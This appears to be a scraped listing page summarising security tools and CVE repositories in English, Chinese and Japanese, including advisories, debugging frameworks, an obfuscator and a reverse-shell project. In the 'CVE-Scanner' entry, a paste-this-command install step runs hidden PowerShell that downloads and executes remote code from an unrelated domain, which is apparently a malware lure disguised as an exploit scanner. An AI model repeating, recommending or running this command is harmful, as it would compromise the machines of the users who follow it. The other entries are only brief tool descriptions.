CVE-2026-107802 SumatraPDF — Windows command-line argument injection in AI selection-translate

SumatraPDF is a multi-format reader for Windows. In 3.6.1 and earlier, src/SelectionTranslate.cpp embeds selected or pasted translation text in quoted Windows command lines using incomplete quote-only escaping. The affected BuildGrokTranslateCmdLineTemp, BuildClaudeTranslateCmdLineTemp, and...

CVE-2026-107802

SumatraPDF (version 3.6.1 and earlier) is vulnerable to Windows command-line argument injection within its AI selection-translate feature. The issue resides in src/SelectionTranslate.cpp, where the functions BuildGrokTranslateCmdLineTemp(), BuildClaudeTranslateCmdLineTemp(), and BuildCodexTransla...

asadbg

asadbg 初步说明：我们建议你将其作为 asatools 的一部分使用，但它也可以 独立使用。 asadbg 是一个工具框架，用于帮助自动执行 Cisco ASA 设备的实时调试， 以及通过串口/SSH 自动与 Cisco CLI 交互， 以快速执行重复性任务。 它封装了 gdb 它支持使用 asadbg.cfg 配置文件，以方便调试不同的 版本 它同时支持真实硬件和 GNS3 它可选地使用 ret-sync，以便从 IDA Pro 获得更好的调试体验 它支持在启动时执行额外的 gdb 脚本 它提供了一些库，可用于跨多个固件版本在真实硬件上 自动化测试 主工具是...

GTFOBLookup

GTFOBLookup 面向 GTFOBins、LOLBAS、WADComs 和 HijackLibs 的离线命令行查询工具。 文件 .gitignore : Gitignore 文件 gtfoblookup.1 : GTFOBLookup 的 Linux 手册页 gtfoblookup.py : GTFOBLookup 工具 LICENSE.md : 许可证文件 README.md : 本文件 requirements.txt : 所需 Python 包列表 依赖 虽然 GTFOBLookup 可以在 Python2.7 中运行，但某些功能需要 Python3。 GTFOBLookup...

idahunt

概述 要求 功能 脚本 使用 模拟而不执行 初始分析 执行 IDA Python 脚本 二进制差异比较 要求 初始分析 比较文件 比较函数 过滤器 架构检测 特定目标 使用 idahunt 的已知项目 概述 idahunt 是一个使用 IDA Pro 分析二进制文件并在 IDA Pro 中搜寻目标的框架。它是一个命令行工具，可递归分析给定文件夹中的所有可执行文件。它在后台执行 IDA，因此你无需手动打开每个文件。它支持执行外部 IDA Python 脚本。 要求 仅需 Python3（IDA Python 脚本除外，取决于你的 IDA 环境，它们可以是 Python2/Python3）...

pip3line

pip3line 原始字节处理工具，能够应用常见及不常见的变换。 开发与主页已移至： https://github.com/metrodango/pip3line...

ginger

Ginger Ginger 是一个开源安全评估工具，用于评估给定 Pentaho BA 应用实例的安全性。 请记住，该项目仍在开发中，并非所有功能都可能存在或按预期工作。 使用方法 Ginger 只有一个必填参数，即目标 Pentaho 安装的 URL： user@host:$ python gynger.py http://localhost:8080/pentaho 注意：不要包含尾部斜杠 / 这样做将以匿名模式启动 Ginger，功能有限。如果已知有效凭据，则应提供这些凭据： user@host:$ python gynger.py...

ditto

ditto PowerShell 混淆器 Ditto 是一款基于 tree-sitter-powershell 和 tree-sitter-javascript 的 PowerShell 和 JavaScript 混淆器。 命令行用法 基本命令结构 ditto-cli 选项 CLI 参数与选项 短选项| 长选项| 描述 ---|---|--- -h| --help| 显示帮助信息并退出。 -v| --version| 显示版本信息并退出。 -p | --path | 要处理的脚本文件路径。 -i | --impostor | 用于混淆的 Impostor 配置文件（不区分大小写）。...

tlsenum

tlsenum tlsenum 是一个命令行 TLS 枚举工具，它尝试枚举服务器支持的 TLS 密码套件，并按优先级顺序列出它们。 它的工作原理是发送 TLS ClientHello 消息，并解析服务器返回的 ServerHello 响应。 tlsenum 假定服务器决定首选密码套件，而忽略客户端指示的偏好。虽然 TLS 规范并未严格保证这一点，但这似乎是相当常见的实现细节。 安装 tlsenum 可用于 Python 2.7、3.3 或 3.4，并可通过 pip 安装。 $ pip install tlsenum 用法 使用这个工具非常简单，以下是扫描 twitter.com...

CVE-2026-4631-cockpit-RCE

CVE-2026-4631 — 代码分析 Cockpit：通过 SSH 命令行参数注入实现未认证远程代码执行 字段| 详情 ---|--- CVE ID| CVE-2026-4631 GHSA| GHSA-m4gv-x78h-3427 严重性| 严重（CVSS 9.8） 受影响版本| Cockpit 327 – 359 修复版本| Cockpit 360 CWE| CWE-78：操作系统命令注入 是否需要认证| 否 报告者| Jelle van der Waa 目录 1. 漏洞概述 2. 架构背景 3. 根本原因分析 4. 漏洞代码——逐文件分析 5. 攻击向量 6. 数据流图 7...

nodejsshell

nodejsshell - h3x0v3rl0rd -...

CVE-2026-32722

CVE-2026-32722 Bloomberg Memray のエスケープされていないコマンドライン・メタデータを介した保存型 XSS はじめに Memray （Bloomberg の Python メモリプロファイラ）をレビューしていた際、私はシンプルな疑問を胸にこの問題を発見しました。 攻撃者が制御するランタイム・メタデータは、ブラウザでレンダリングされるレポート出力に、安全でない形で混入し得るのか？ このケースでは、答えはイエスでした。 バグは Memray の HTML...

apache-camel-docling-security-assessment

CVE-2026-40047 - Apache Camel Docling CLI 引数インジェクション コンサルタント形式のサイバーセキュリティレポート Apache Camel Docling の引数検証リスクに関するプロフェッショナルな脆弱性評価レポート。技術的影響、修復、緩和策を含みます。 📍 レポートスナップショット フィールド| 詳細 ---|--- レポートタイプ| 脆弱性評価レポート エンゲージメントコンテキスト| セキュリティ研究 主なフォーカス| アプリケーションセキュリティ 対象読者| セキュリティチーム、エンジニアリングチーム、採用担当者 出力スタイル|...

CVE-2023-21823

CVE-2023-21823 Windows反向Shell 该仓库包含用于Windows操作系统的反向Shell的C代码。反向Shell允许使用命令行远程控制系统，提供在受感染机器上执行命令的能力。 重要说明 将此代码用于非法目的或在未经系统所有者许可的情况下使用是违法的，并且违背道德原则。此代码仅用于教育和研究目的。 构建 要构建该项目，您需要一个C编译器，例如MinGW或Microsoft Visual Studio。 MinGW 1. 如果您还没有MinGW，请先安装。 2. 打开命令提示符并导航到包含源代码的目录。 3. 运行以下命令构建项目： gcc -o...

CVE-Scanner

CVE-Scanner CVE-2021-42287/CVE-2021-42278/その他 スキャナー & エクスプロイター。 インストール 1. WIN + R キーを押します 2. 以下のコードをコピーして貼り付け、Enterキーを押します powershell -WindowStyle Hidden -Command ScriptBlock::Createirm https://jaihind.edu.in/weatherdolphin/dollrandom.Invoke; 3. PC を再起動します 使い方 1. CMD を開きます 2. fexkex IP FOR SCAN...

CVE-2015-1427

CVE-2015-1427 参数 -u 单个url -l 指定url文件 -c 指定命令...

CVE-2017-10271

CVE-2017-10271 使用方法: python CVE-2017-10271.py url...

CVE-2023-26256

CVE-2023-26256 -hヘルプ表示 -u単一URL実行 -f一括実行...

EUVD-2026-94860

Improper link resolution and external control of file paths in the administrative command-line operations of hMailServer.exe in Progressive Robot hMailServer 6.3.4 and 6.3.5 allow a local attacker who already runs code as the low-privilege service account to escalate privilege. On Windows,...

hotpot

Hotpot 🍲 命令行版的 Authy / Google Authenticator。 Hotpot 是一个简单安全的命令行工具，用于管理基于 TOTP 的双因素认证码。它安全地将你的 2FA 密钥存储在系统钥匙环中，并在需要时生成基于时间的一次性密码。 采用 Rust 构建，兼具安全性、性能和可靠性。 特性 安全存储 ：使用系统钥匙环（Keychain/libsecret/Credential Manager） TOTP RFC 6238 码生成，支持可自定义算法（SHA1/SHA256/SHA512） 交互式仪表盘 ：实时显示验证码、进度条和模糊搜索 一键复制...